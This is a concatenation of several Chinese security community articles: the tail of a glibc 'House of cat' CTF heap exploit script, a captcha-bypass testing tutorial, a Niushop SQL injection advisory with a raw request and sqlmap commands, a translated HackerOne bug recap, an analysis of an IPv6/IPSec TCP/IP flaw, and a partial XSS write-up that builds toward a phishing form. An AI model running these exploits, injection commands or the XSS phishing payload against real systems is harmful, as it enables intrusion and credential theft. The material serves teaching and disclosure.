#IO_list_all stderr-0x20
delete(1) #ub
add(3,0x440,b'c') #attack
add(4,0x418,b'd') #r chunk1
add(7,0x460,b'g')
add(8,0x430,b'h')
delete(3)
add(9,0x460,b'i') #chunk3 -> largebin
pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20)
edit(3,pl)
#chunk9+0x30 main_arena+1120
#chunk9+0x30 &TopChunk_Size+3 -0x20
delete(8) #ub
delete(14)
add(10,0x450,b'a') #attack
p.sendafter("mew mew mew~~~~~~\n",'CAT | r00t QWB QWXF$\xff')
p.sendlineafter("plz input your cat choice:\n",str(1))
p.sendlineafter("plz input your cat idx:\n",str(6))
dbg()
p.sendlineafter("plz input your cat size:\n",str(0x46f))
itr()
#### 参考：
[House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of
cat详解](https://bbs.kanxue.com/thread-273895.htm)
[house of cat -2022强网杯pwn复现 | ZIKH26's
Blog](https://zikh26.github.io/posts/7de5a5b7.html#%E5%88%A9%E7%94%A8%E6%80%9D%E8%B7%AF)
[CTF 中 glibc堆利用 及 IO_FILE
总结](https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_32)
| 社区文章 |
本文由红日安全成员：ruanruan 编写，如有不当，还望斧正。
大家好，我们是 **红日安全-Web安全攻防小组** 。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫
[Web安全实战](https://github.com/hongriSec/Web-Security-Attack)
，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于 **漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练（主要选择相应CMS或者是Vulnhub进行实战演练)**
，如果对大家有帮助请 **Star** 鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（ **sec-redclub@qq.com** ）联系我们。
# 1.验证码漏洞概述
## 1.1验证码概述
验证码（CAPTCHA）是“Completely Automated Public Turing test to tell Computers and
Humans
Apart”（全自动区分计算机和人类的图灵测试）的缩写，是一种区分用户是计算机还是人的公共全自动程序。可以防止：恶意破解?密码、刷票、论坛灌水。由于计算机无法解答CAPTCHA的问题，所以回答出问题的用户就可以被认为是人类。
### 1.1.1验证码作用
有效防止攻击者对某一场景使用暴力方式进行不断的攻击尝试。验证码主要是运用于登录，注册，评论发帖及业务安全防刷等场景。
### 1.1.2验证码分类
#### 1.1.2.1图片验证码
通过在图片上随机产生数字、英文字母、汉字或者问题，一般有四位或者六位验证码字符。通过添加干扰线，添加噪点以及增加字符的粘连程度和旋转角度来增加机器识别的难度。但是这种传统的验证码随着OCR技术的发展，能够轻易的被破解。
#### 1.1.2.2手机短信验证码
手机验证码是通过发送验证码到手机，大型网站尤其是购物网站，都提供有手机短信验证码功能，可以比较准确和安全地保证购物的安全性，验证用户的正确性，是最有效的验证码系统。某些验证码接入商提供手机短信验证码服务，各网站通过接口发送请求到接入商的服务器，服务器发送随机数字或字母到手机中，由接入商的服务器统一做验证码的验证。
#### 1.1.2.3行为式验证码
是通过用户的某种操作行为来完成验证。例如：拖动式验证码、点触式验证码。
拖动式验证码：类似于手机的滑动解锁，根据提示用鼠标将滑块拖动到指定的位置完成验证。
点触式验证码，同样根据文字提示，点击图片中与文字描述相符的内容完成验证。
#### 1.1.2.4语音验证码
是通过语音电话直接呼叫用户手机或固定电话播报验证码，解决短信验证码到达率及政策性问题。常用于网站、移动客户端、银行金融等用户身份验证，以及支付确认等安全性要求更高的即时服务。
#### 1.1.2.5视频验证码
是验证码中的新秀，视频验证码中随机数字、字母和中文组合而成的验证码动态嵌入到MP4，flv等格式的视频中，增大了破解难度。验证码视频动态变换，随机响应，可以有效防范字典攻击、穷举攻击等攻击行为。
## 1.2验证码漏洞概述
### 1.2.1漏洞原理
由于验证码生成机制或验证机制存在缺陷引发的问题。
### 1.2.2漏洞危害
#### 1.2.2.1对账户进行暴力破解
#### 1.2.2.2 任意用户登录
#### 1.2.2.3 短信轰炸
# 2.常见验证码漏洞
## 2.1通用设计缺陷
### 2.1.1验证码无效
无论输入什么都判断验证码正确，这种情况非常少，一些小站点可能存在。
### 2.1.2验证码由客户端生成、验证
验证码由客户端js生成并且仅仅在客户端用js验证
测试：判断验证码是否仅由客户端验证。
Eg:下图为验证码仅由客户端验证案例
### 2.1.3验证码回显
验证码在html或COOKIE中显示，或输出到response headers的其他字段。可被直接查看。
测试：可查看html源码或对响应包进行分析。
Eg:下图为验证码在COOKIE中回显案例
### 2.1.4验证码固定
也叫验证码重复使用（重用）。是指验证码没有设使用期限，在验证码首次认证成功后没有删除session中的验证码，使得该验证码可被多次成功验证，从而造成危害。
测试：填写正确登录信息和验证码然后抓取提交数据包，重复提交该数据包，登录成功则存在验证码重复使用问题。
ps:可通过修改与验证码无关的参数的大小来实现多次提交，自设一个字典作为该参数payload。
Eg：EmpireCMS_6.0后台验证码可重复使用
从结果来看，暴力重复提交的数据包均登录成功，说明存在验证码重复使用的问题。
再附上项目中遇到的验证码重用问题
### 2.1.5 验证码可爆破
服务端未对验证时间、次数作出限制，存在爆破的可能性。简单的系统存在可以直接爆破的可能性，但做过一些防护的系统还得进行一些绕过才能进行爆破。
测试：利用Burpsuite对验证码参数进行暴力破解。
Eg：微信验证码暴力破解可导制任意密码修改：
<http://www.wooyun.org/bugs/wooyun-2010-011720>
### 2.1.6 验证码可猜测
由于验证码设置比较简单，可能只有数字或字母组成，也可能是其设定范围有限，导致验证码内容可被猜测。经常出现在图片验证码问题集场景。
测试：根据已有验证码对验证码设定范围进行猜测。
Eg：产生的验证码问题集内的答案非常有限
139邮箱图验证码绕过漏洞 <http://www.wooyun.org/bugs/wooyun-2013-025245>
### 2.1.7 验证码可绕过
由于逻辑设计缺陷，可绕过验证，常见绕过方式如直接删除COOKIE、验证码参数为空、直接删除验证码参数可绕过和修改Response状态值等。也可根据情况组合以上绕过方式。
测试：利用Burpsuite更改请求包数据进行多次测试。
Eg1:CmsEasyv5.5删除COOKIE可绕过验证
Eg2:验证码参数值为空可绕过验证
## 2.2图片验证码
除了上述通用设计缺陷，由于图形验证码设计过于简单，可使用工具自动化识别，存在图片验证码可自动识别漏洞。
测试：利用Python Image Library、tesseract-ocr、pytesser等python第三方库，经过二值化、文字分割等操作识别验证码。
Eg：招商银行设计缺陷可被穷举攻击
<http://www.wooyun.org/bugs/wooyun-2015-092497>
光大证券交易系统资金账号可被穷举攻击
<http://www.wooyun.org/bugs/wooyun-2015-092415>
## 2.3短信验证码
很多系统的短信验证码接口存在很多逻辑问题，因此产生的危害也很多，比如任意用户注册、任意用户重置密码、短信轰炸等，还可能导致CSRF。
短信验证码漏洞常出现在注册登录、密码找回、敏感信息修改、获取等模块。
### 2.3.1短信轰炸
这类漏洞存在的原因是没有对短信验证码的发送时间、用户及其IP作一些限制。
测试：抓包后利用burpsuite的重放功能，结果均返回已发送成功。
### 2.3.2任意用户注册
没有将短信验证码与手机绑定，通过更改手机号填写
### 2.3.3任意用户重置密码
一般出现在密码找回模块，系统没有将发送的短信验证码与手机绑定，可通过更改手机号获取验证码进行绕过，重置和登录该用户账号密码。
但也有情况就是，系统将发送的短信验证码与手机绑定了，但没有将该手机号和相应账号
进行绑定，还是可以绕过验证码的。
Eg:下图就是一个通过修改手机号获取验证码的场景，但比较特别的是必须将mobile改为接收captcha的手机号才能验证成功。
# 3.测试
这里先介绍测试靶场，
## 3.1靶场测试
### 3.1.1 Pikachu漏洞平台
#### 3.1.1.1 靶场介绍
Pikachu是一个带有漏洞的Web应用系统，在这里包含了常见的web安全漏洞。 · Burt Force(暴力破解漏洞)
· XSS(跨站脚本漏洞)
· CSRF(跨站请求伪造)
· SQL-Inject(SQL注入漏洞)
· RCE(远程命令/代码执行)
....
#### 3.1.2.2 靶场下载
<https://github.com/zhuifengshaonianhanlu/pikachu>
#### 3.1.2.3靶场安装
放到WWW目录下，然后在inc/config.inc.php中修改数据库名和密码
访问<http://localhost/pikachu-master/进入首页，点击初始化安装>
安装成功
## 3.2 手工测试
在Pikachu漏洞平台首页选择暴力破解|验证码绕过(on server)/(o client)。
### 3.2.1验证码绕过(on server)
按照2.1的通用设计缺陷一个个进行测试。
测试结果：验证码有验证、无回显，但存在验证码固定（可重复使用）的设计缺陷。
以下为验证码固定问题测试过程和源码分析。
#### 3.2.1.1 测试过程
输入不正确的账户/密码及正确的验证码测试
重复提交该数据包均只返回用户名或密码错误，说明存在验证码固定漏洞。
所以我们可利用此漏洞绕过验证码直接对用户名和密码进行暴力破解。
#### 3.2.1.2源码分析
文件：\vul\burteforce\bf_server.php
关键代码：
在用户名、密码和验证码均不为空的情况下判断输入验证码是否与生成后保存在session中的验证码相同，但比较完后没有删除该session[vcode],导致下一个数据包输入该验证码也会判断正确，出现验证码重复使用问题。
3.2.2验证码绕过(on client)
按照2.1的通用设计缺陷一个个进行测试。
测试结果：验证码有验证、无回显，在测试验证码固定（可重复使用）问题抓包时发现是通过前端JS判断验证码是否正确，在bp中测试发现存在删除验证码参数可绕过验证码判断的问题。
以下为验证码固定问题测试过程和源码分析。
#### 3.2.2.1 测试过程
通过查看源码发现前端JS判断验证码是否正确，所以先输入正确的验证码绕过前端判断。
输入不正确的账户/密码及验证码进行抓包测试。
由于已经绕过前端js对验证码的判断，可以将请求包中的验证码参数删除。
再将数据包发送到intruder对用户名和密码进行暴力破解即可。
## 3.3工具测试
### 3.3.1 PKAV HTTP Fuzzer
#### 3.3.1.1 工具介绍
pkav团队的神器PKAV HTTP Fuzzer可对图片验证码进行识别。
不需要安装可直接运行，但运行需要安装.net framework 4.0或以上版本。
#### 3.3.1.2 测试过程
这里用PKAV HTTP Fuzzer对EmpireCMS_6.0进行测试。
安装好后先登录后台页面修改后台验证码显示设置
先用burpsuite抓取登录包，再将url和请求包复制到PKav->目标数据的相应位置
设置变量和验证码
然后添加变量的字典，设置重放方式
由于该cms的验证码为图片验证码，所以我们再进入图片验证码识别进行设置。
右键复制图片验证码链接地址，填写到验证码地址
往下点击识别测试查看是否能识别
再进入重放选项对线程、验证码长度进行设置，也可设置响应包字段匹配方便判断。
最后进入发包器模块点击启动即可。
### 3.3.2 Burp插件reCAPTCHA
#### 3.3.2.1插件介绍
#### 3.3.2.2插件安装
下载地址：<https://github.com/bit4woo/reCAPTCHA/releases>
安装：在Burpsuite中选择Extender->Extensions->Add，选择刚下载的reCAPTCHA.v0.8即可。
在Proxy中右键出现Send to reCAPTCHA即安装成功。
使用方法这里就不做介绍了
# 4.CMS实战演练
## 4.1CMSeasyv5.5删除cookie可绕过验证码
### 4.1.1 cms简介
CmsEasy是一款基于 PHP+Mysql 架构的网站内容管理系统，也是一个 PHP 开发平台。
采用模块化方式开发，功能易用便于扩展，可面向大中型站点提供重量级网站建设解决方案。2年来，凭借
团队长期积累的丰富的Web开发及数据库经验和勇于创新追求完美的设计理念，使得 CmsEasy v1.0
得到了众多网站的认可，并且越来越多地被应用到大中型商业网站。
### 4.1.2 测试环境
系统：win10
PHPStudy：PHPv5.2.17+MYSQLv5.5.53
CMS版本：CMSeasyv5.5
### 4.1.3 测试过程
访问<http://xxx/uploads/admin/跳转到后台登陆页面。>
使用正确账户密码+错误验证码尝试登录时，返回验证码错误
删除cookie后返回登陆成功
因此非管理员用户可通过删除cookie绕过验证码验证对用户名和密码进行爆破。
## 4.2 EmpireCMS_6.0验证码重复
### 4.2.1 CMS介绍
帝国网站管理系统(EmpireCMS)是目前国内应用最广泛的CMS程序。通过十多年的不断创新与完善，使系统集安全、稳定、强大、灵活于一身。目前EmpireCMS程序已经广泛应用在国内上百万家网站，覆盖国内上千万上网人群，并经过上千家知名网站的严格检测，被称为国内超高安全稳定的开源CMS系统。
### 4.2.2 测试环境
系统：win10
PHPStudy：PHPv5.2.17+MYSQLv5.5.53
CMS版本：EmpireCMS_6.0
### 4.2.3安装CMS
访问<http://yoursite/e/install/index.php>
安装好后先登录后台页面修改后台验证码显示设置，步骤如图
然后拉到最下方保存设置，退出登录
### 4.2.4测试过程
第一步，输入正确信息点击登录时抓包
第二步，通过修改imageField参数的大小来实现暴力提交，自设一个两位数数字字典作为payload
第三步，查看任意响应包是否登录成功
从结果来看，暴力重复提交的数据包均登录成功，说明存在验证码重复使用的问题。
经过暴力重复提交后，后台显示登陆成功。
# 5.修复建议
## 5.1使用安全性强的验证码
验证码应从以下方面保证其安全性：验证码长度不低于4位，至少同时包含数字、字母或汉字，增加干扰因素比如线条，避免使用容易被程序自动识别的验证码。
## 5.2 验证码不应由客户端生成或返回到客户端
## 5.3 系统在开发时注意验证识别后销毁session中的验证码。
## 5.4限制用户提交的验证码不能为空
## 5.5 短信验证码不少于6位；有效期不超过1分钟；验证码错误次数超过上限应采取账户锁定策略。 | 社区文章 |
### 0x01 前言
> Niushop B2C商城系统基于ThinkPHP5.0开发，源码全部开放(100%)，商用免费，四网合一，满足用户、企业、开发者、服务商等角色要求
### 0x02 代码分析
跟踪到 **/Application/wap/Controller/Goods.php** 中的 **goodsSearchList** 方法
* 411 Line: 判断是否是ajax请求
* 414 Line: 从post获取参数为order的值并赋给$order
* 416 Line: 从post获取参数为sort的值并赋给$sort
* 426 Line: 判断$order不为空
* 427 Line: 将$order、$sort拼接并赋值给$orderby
* 454 Line: 将$orderby传入$goods中的getGoodsList方法中
跟踪到 **/data/service/Goods.php** 中的 **goodsSearchList** 方法
* 106 Line: 将$order传入模型NsGoodsView中的getGoodsViewList方法
跟踪到 **/data/model/NsGoodsViewModel.php** 中的 **getGoodsViewList** 方法
* 39 Line: 将$order传入当前模型中的getGoodsViewQuery
* 86 Line: 调用基类的viewPageQuery方法并将$order传入其中
跟踪到 **/data/model/BaseModel.php** 中的 **viewPageQuery** 方法
* 到这里直接将SQL语句带入查询，order可控导致SQL注入
### 0x03 漏洞探测
### 0x04 漏洞复现
POST /index.php?s=/wap/Goods/goodsSearchList HTTP/1.1
Host: 172.16.209.129:8086
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.209.129:8086/index.php/wap/goods/goodsSearchList
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Cookie: PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735
Connection: close
Cache-Control: max-age=0
sear_name=&sear_type=1&order=*&sort=asc&controlType=&shop_id=0&page=1
将数据包保存为niushop.txt
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql"
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" --current-db
sqlmap -r niushop.txt --random-agent --batch --dbms "mysql" -D niushop_b2c --tables
### 0x05 漏洞修复 | 社区文章 |
译者：Serene
原文：[Six Security Vulnerabilities from a Year of
HackerOne](https://flexport.engineering/six-vulnerabilities-from-a-year-of-hackerone-808d8bfa0014)
截至2017/6/27 HackerOne的统计
一年前，我们推出了在 [HackerOne](https://www.hackerone.com/blog/Flexport-leverages-bug-bounty-programs-to-secure-their-customers-highly-confidential-shipping-data)
上的赏金计划，以提高 Flexport 的安全性。 HackerOne 让我们为业余爱好者和专业渗透测试人员提供赏金来鼓励他们发现漏洞。 于是，我们收到了近
200 份报告，包括[将服务器 token 从 nginx header
中删除](http://nginx.org/en/docs/http/ngx_http_core_module.html#server_tokens) 到
XSS 漏洞。 以下是 200 个报告中最有趣的 6 个漏洞。
#### 1\. 删除按钮中的XSS漏洞
当发起赏金计划时，我们没想到会收到有关 XSS 的有效报告，毕竟 React
中[内置了防范这种漏洞的保护措施](https://facebook.github.io/react/docs/introducing-jsx.html#jsx-prevents-injection-attacks)，不幸的是，我们收到的第一份不同寻常的报告就是关于存储型 XSS 漏洞的。
###### 原因
当时我们在使用 [Bootbox](http://bootboxjs.com/) 来显示错误消息并创建确认对话框。 Bootbox 独立于 React 管理
DOM 元素，因此不受 React 的 XSS 保护措施的影响。 所以，当将用户输入直接展示在确认对话框中时，就触发了攻击。
###### 修复
短期的修复方案是在用户输入传递给 Bootbox 展示之前，将所有可能和 XSS 相关的标签删除(JSXSS
提供了一个[节点模块](https://github.com/leizongmin/js-xss)让这部分变得很简单)。正在筹备长期的解决方案是，从
Bootbox 转移到一个基于 React 的确认模块。
###### 教训
React 阻止了 XSS 不代表所有代码都是安全的。对所有在 React 之外工作的库都不能信任，并且要尽可能地避免使用它们。
#### 2\. Markdown 渲染中的 XSS 漏洞
在修复了 Bootbox 并检查了我们其它类似的库之后，我们收到了第二个 XSS 漏洞报告——这次存在于我们的 Markdown 渲染中。
###### 原因
我们的文本框中以 `<div dangerouslySetInnerHtml={{__html: marked(text)}} />` 方式支持
Markdown，回想起来，这是一个坏主意。
###### 修复
将所有传递到 `dangerouslySetInnerHtml` 的文本都使用 XSS 过滤器，并创建一个 Lint 规则以在将来执行此操作。
###### 教训
使用任何带有 `dangerous` 的功能时，都要严肃对待……
#### 3\. Target=“_blank”
在所有从 HackerOne 中收到的报告中，最令人惊讶的是标准 HTML 标签的正常使用。
###### 原因
当你用新标签页打开一个链接（`<a target="_blank">`），新打开的标签页可以利用 window.opener 属性访问初始标签并改变它的
location 对象。攻击者可以将原始页面设置为登录页面或其他任何内容。只能将 `rel="noopener noreferrer"` 添加到 `a`
标签中，来减轻这一类问题。
###### 修复
通过在使用 `target="_blank"` 时增加 `rel="nofollow me noopener
noreferrer"`，我们修复了该问题，这样新窗口就不能改变原始窗口的内容。另外，我们 [向 ESLint 提交了一个 Lint
规则](https://github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-no-target-blank.md)，防止以后大家犯同样的错误。
###### 教训
这个漏洞的关键点是，安全是很难的。我们很容易信任像 HTML 这样的准则，但保持警惕和怀疑同样重要。
#### 4\. Wordpress的困境
修复完上述漏洞，我们没有收到更多与前端相关的漏洞，然而我们在 HackerOne
的赏金计划仍然在博客中延续。[我们公司的博客](https://www.flexport.com/blog/)在 Wordpress
上运行，也因此收到了各种各样基于此的漏洞报告。
###### 原因
每个博客漏洞都归结于同样的问题：过时的库很容易受攻击。 例如，JetPack 是一种广泛使用（300万次安装）和推荐的插件，它承诺“保护所有
WordPress 网站的安全，增加流量，吸引读者”，但在过去几年中已经有许多 XSS 和其他漏洞。
来源：https://wpvulndb.com
###### 修复
和所有软件一样，最不容易受攻击的是不存在的代码，其次是最新的代码。 我们删除了绝大多数的 Wordpress
插件（其中大部分都不知道何时安装过），更新了其余部分插件，并订阅 <https://wpvulndb.com/> 以得到最新的报告。
#### 5\. 暴力破解 2FA
转到我们的 Ruby on Rails
后端，我们收到了两份值得注意的报告，都涉及了我们的双重认证。一开始，我们收到一份报告，展示了如何通过暴力攻击来获得已泄露用户的访问权限。
###### 原因
我们使用 [Authy](https://authy.com/) 作为我们的 2FA 合作伙伴，他们的 [rails
gem](https://github.com/authy/authy-devise) 不包括任何内置的速率限制。
###### 修复
修复方法很简单：我们添加了速率限制，即在多次错误尝试后锁定账户。
#### 6\. 绕过 2FA
最后，我们收到了一份报告，展示了对我们 2FA 的完全绕过，这使得第二重认证完全没有起作用。攻击者所要做的就是忽略 2FA 页面并导航到另一个链接。
###### 原因
在本文中所有的 bug 中，这一个是最难找到的。Authy rails gem hook 住
[Devise](https://github.com/plataformatec/devise) (一个受欢迎的 rails
认证/用户管理库)，并在登录后使用以下代码要求 2FA:
def check_request_and_redirect_to_verify_token
...
id = warden.session(resource_name)[:id]
warden.logout
warden.reset_session!
session["#{resource_name}_id"] = id
...
redirect_to verify_authy_path_for(resource_name)
end
理论上说，这个代码在用户成功登录后会将其登出，并重新定向到第二重身份验证页面。 然而实际上，Devise 调用 `authenticate?`
检查用户是否进行了身份验证（在此处的代码之后运行）：
def authenticate?(*args)
result = !!authenticate(*args) # Try to log the user in
yield if result && block_given?
result
end
这会让用户重新登录。
###### 修复
将 `warden.logout` 行更改为 `sign_out` 可以解决这个问题，因为 `sign_out` 有其他代码来清除登录。
我们在本地解决了这个问题，[并向 Authy 提出了一项请求，以便能帮助大家解决问题](https://github.com/authy/authy-devise/pull/70)。
###### 教训
连信誉良好的安全公司有时也会出错，并且渗透测试也没有好的替代品。 对我们来说，最经济有效的方法仍然是 HackerOne。 我们发现这些报告对
Flexport 和我们的安全都具有很高的价值。
* * * | 社区文章 |
**作者：Numen Cyber Labs
原文链接：<https://mp.weixin.qq.com/s/5oBAw-oLtHA52-0eBcPSpg>**
## **背景和准备**
微软上月发布的补丁包含一个可能执行代码的TCP/IP协议漏洞。为了验证该漏洞的影响范围和可能后果，Numen
高级安全研究团队对此漏洞做了深入的分析，并通过补丁对比，还原出了PoC。本文将详细介绍我们如何通过补丁对比还原出PoC，以及漏洞的细节。Numen
将会持续输出高质量的安全研究文章，以及成果，为Web3安全以及网络安全其他领域提供权威高质量的研究成果，助力网络安全健康发展。
首先熟悉这些与IPv6和IPSec ESP协议相关的数据包结构有助于理解本文。技术参考如下：
IPv6：<https://www.rfc-editor.org/rfc/rfc2460#page-6>
IPSec ESP： <https://www.rfc-editor.org/rfc/rfc2406>
## **补丁分析**
有了之前的知识，我们可以更容易地理解脆弱性原理。现在让我们分析补丁。
比较tcpip.sys的八月和九月补丁，我们发现有两个函数需要修补。如下所示：
这里的补丁修补方式表明在重组ipv6分片数据的时候，似乎存在某一个内存偏移大于预期的可能错误。除此之外，还有另一个修补过的函数：
这处函数修补作用并不太直观，我们只能知道接收IPsec_ESP封包的处理过程中，如果其某一标志位不满足补丁修补条件，这个包将会被丢弃。
## **PoC 构造**
### **A. 初步尝试**
尽管Microsoft在漏洞描述中明确表示，它将向启用IPSec的节点发送ipv6数据包。然而，从上面对漏洞补丁的分析来看，我们认为如果我们能够构建一个符合Ipv6pReassembleDatagram函数中修补条件的IPv6碎片数据，我们可以触发内存中错误（大于预期）偏移量的损坏。
一开始，我们忽略了IPSec的条件，专注于IPV6碎片化和包重组。tcpip DOS漏洞分析CVE-2021-24086
2021年初（<https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html>）提供了一个良好的切入点
参考本文中的PoC，我们可以在Ipv6pReassembleDatagram函数中重新组织一组IPV6分区包。但我们发现，只有普通ipv6标头携带碎片数据包，这不会影响补丁中限制的参数。
查看漏洞的官方描述，并注意第二个补丁。我们认为可能有必要使用IPSec中的ESP包来控制第一个补丁的关键参数。
我们开始构建启用IPSec协议的测试环境。
### **B. 构造IPSec流量包**
如前介绍，IPSec是一种可以对指定类型ip流量筛选过滤，并加密验证的一种协议。通常在VPN或者增强其他协议密码安全性的部分条件下使用。在windows中
我们搭建了一个域条件下，两台对对方所有流量都加密验证的环境。因为很多时候它并不是一种默认开启的协议。
为了构造这种数据包，我们必须知道协议中指定的加密算法和秘钥。其中IPSec_ESP中加密方式我们可以自行选择。在本次分析中我们仅仅启用了IPSec中的完整性HASH验证，使用SHA1计算hash。但这已经能满足漏洞触发的基本要求。
这里需要额外说明IPSec数据包构造过程中数据加密的秘钥获取（如果选择linux作为攻击机的话，密钥获取将比较容易可以忽略这里）。
Windows中的IPSec的加密过程都是在tcpip协议驱动中实现的，虽然在应用层中，微软提供了一套WFP流量筛选平台框架API可以控制IPSec中SA的一些参数（如SPI），但是对于秘钥管理这一部分，我们并不能直接获取到IPSec_ESP包中加密所需的秘钥和其他的一些具体的加密规则（不同于流量加密秘钥每次的变化，流量完整性验证秘钥虽然也会不停变化，但在一段时间内，该秘钥是固定的）。
通过分析tcpip驱动，我们可以从tcpip的MICROSOFT_TCPIP_PROVIDER_Context中获取密钥（在测试环境，我们直接从内核中BCryptCreateHash的参数中获取）。并且如前所述，我们的IPSec流量中，只启用了流量完整性验证，并没有使用流量加密。这样对后续的分析，协议理解都比较直观。
构造好IPSec流量包后，通过调整IPSec数据包中的参数，我们的数据包满足了第二个修补函数对IPSec_ESP包在第二处补丁函数对指定标志的限制条件。对照协议结构，我们可以知道，第二处补丁函数限制的标志位对应的是IPSec_ESP包中加密数据的类型标志。当ESP中加密包ipv6扩展头类型为小于等于0时丢弃该数据包。具体包括一下几项0（IPv6
Hop-by-Hop Option）或者0x2b（Routing Header for IPv6）0x2c(Fragment Header for
IPv6)
我们的测试中，使用了Fragment Header for IPv6的包（0x2c）。
### **C. 最终的 PoC**
有了我们需要的IPSec流量包结构后，我们现在需要做的就是将第一步尝试构造的IPv6分片数据当做ESP协议中需要被加密以及验证的数据（其中关键是ESP尾部结构中最后一位标志ESP携带的扩展头类型标志设为0x2c），并组装好后开始发送。
由于该漏洞需要发送原始ip数据包，并且在初期调试的过程中，最好能够比较方便的控制修改每一个发送的ip包字节。我们需要一个比较底层且灵活的发包接口。喜欢python的朋友可以使用scapy。
我们这里使用的是一个现成的NDIS协议驱动。（该驱动代码和编译及安装。参考《windows网络通讯程序设计第二版》代码示例）。使用底层驱动协议的好处是除了个人习惯，另外有很多的各类型协议数据包组装代码示例方便理解。
## **总结**
从根本上讲，该漏洞修复主要限制ESP携带IPv6 IPSec协议中提到的几个IPv6扩展头。
当前PoC代码可能导致NetIo协议头对象内容中的字节（大于0x38的任意偏移地址）被重写为任意值（此处为0x2C）。这里提到的0x2c不是ESP中携带的第一个ipv6扩展标头类型标志。它是ESP中携带的分区标头旁边的ipv6扩展标头标志。这可以任意设置。
在解析下一个扩展头时，我们可以通过构造一些准确的扩展头来崩溃esp包。如果随后的esp解密内容无效且与扩展头类型不一致，TCPIP通常不会立即触发异常（通过控制内存损坏的位置，我们可以构建一些不同类型的系统崩溃场景）：
对于该漏洞的利用，目前有两种思路。
**A、**
重点分析目前我们可能损坏的NetIo协议头对象的详细结构，看看数据大小或其他关键数据位置是否可以通过我们写入的数据转换为其他缓冲区复制错误，从而构建任意读/写函数。
**B、**
因为我们可以破坏的位置不限于NetIo协议头对象，我们可以通过构造更大的偏移量（通过修改ESP包的长度）来覆盖其他对象。因此，可以使用其他对象来构造读/写源语言或代码执行。
但无论上述哪一种想法，都可能需要进一步分析其确切的可行性
## **实际影响**
从漏洞本身的范围来看，该漏洞依赖于IPv6协议和IPSec协议的组合。IPv6目前被广泛使用。有许多场景支持IPv6，但一些常用的VPN或一些需要流量加密的环境通常不使用IPSec作为默认选项，需要由管理员设置。
此外，我们的PoC在域中设置了两个IP安全策略的环境中实现。首先，我们通过域验证身份，然后我们可以向其他受信任的域成员目标发送易受攻击的数据包。未经身份验证发送的加密流量将不会被处理。否则，您需要获得预共享的密钥才能完成身份验证。
漏洞PoC详情， 请访问：<https://github.com/numencyber/VulnerabilityPoC>。
* * * | 社区文章 |
## 发现xss漏洞
[http://xxxxx.com/xxx.asp?videoid=1&nm=2010%C3%C0%B9%FA%D0%C4%B7%CE%B8%B4%CB%D5%D0%C2%B9%E6%B6%A8%BD%CC%D1%A7%C6%AC](http://xxxxx.com/xxx.asp?videoid=1&nm=2010%C3%C0%B9%FA%D0%C4%B7%CE%B8%B4%CB%D5%D0%C2%B9%E6%B6%A8%BD%CC%D1%A7%C6%AC)
尝试注入，不出意外有WAF
## fuzz尝试绕过
看到如下截图中绕过绕过WAF的payload的，让我联想到了之前在Tomcat Examples页面挖到过的点击劫持漏洞
Tomcat Examples页面的点击劫持漏洞建议参考下方链接的这篇文章，这个钓鱼页面的制作的思路我是由这个点击劫持漏洞想到的
挖洞经验 | 通过Tomcat Servlet示例页面发现的Cookie信息泄露漏洞
https://www.freebuf.com/articles/web/247253.html
fuzz出的payload
"><form><button formaction=//evil>XSS</button><textarea name=x>
## 本地测试
通过上面fuzz得到的payload,自己搭建服务器进行实验
python2使用如下命令快速启动简易的http服务
`python -m SimpleHTTPServer 8000`
不加端口也没事，直接使用python -m SimpleHTTPServer则默认端口是8000
若报错：`No module named SimpleHTTPServer`,是因为python3已经改成了http.server
python3使用如下命令快速启动简易的http服务
`python -m http.server 8000`
本地测试时使用的payload
"><form><button formaction=http://127.0.0.1:8000/>clickMme</button><textarea name=x>
把payloa拼接上去然后在用流量器打开
http://xxxxxxx.com/xxx.asp?videoid=%22%3E%3Cform%3E%3Cbutton%20formaction=http://127.0.0.1:8000/%3EclickMme%3C/button%3E%3Ctextarea%20name=x%3E
点击clickMe之后就跳转到了我们搭建的服务器上
## 外网测试
大家应该有注意到了跳转成功时后面会带有一串参数，关于这个参数我们先看一下关于`<textarea>` 标签的定义：
<textarea> 标签定义一个多行的文本输入控件。
文本区域中可容纳无限数量的文本，其中的文本的默认字体是等宽字体（通常是 Courier）。
可以通过 cols 和 rows 属性来规定 textarea 的尺寸大小，不过更好的办法是使用 CSS 的 height 和 width 属性
看到这里大家应该知道了，其实利用fuzz出的payload进行实验时后面的那个参数x就是`<textarea
name=x>`，我们在payload中利用不闭合的`<textarea>`吸收掉后面多余的代码，而x的参数值就是后面没用的冗余代码,我们最终的钓鱼页面也是需要参数来传递账号密码的值的，所以这里就直接用`<textarea
name=x>`结合后面冗余的代码做实验
先找一个互联网web服务页面测试，这个页面必须要是url后面接着不存在的参数时仍然能正常显示的页面像下方页面这样
比如喜马拉雅首页网址后带有不存在的参数时仍然能访问成功
payload
"><form><button formaction=https://www.ximalaya.com>clickMme</button><textarea name=x>
可惜在点击clickMe跳转后出现了500错误，这个例子失败了
为什么会失败呢，我们点击clickMe后抓包看看，如下截图所示是应为喜马拉雅网站有进行referer验证
喜马拉雅的例子失败了，那我们换个成功的例子看看
payload
"><form><button formaction=https://www.runoob.com>clickMme</button><textarea name=x>
如上方菜鸟驿站的例子所示我们实验成功了，那怎么才能吧这个漏洞点利用起来呢，接着看
## 制作钓鱼页面
payload：
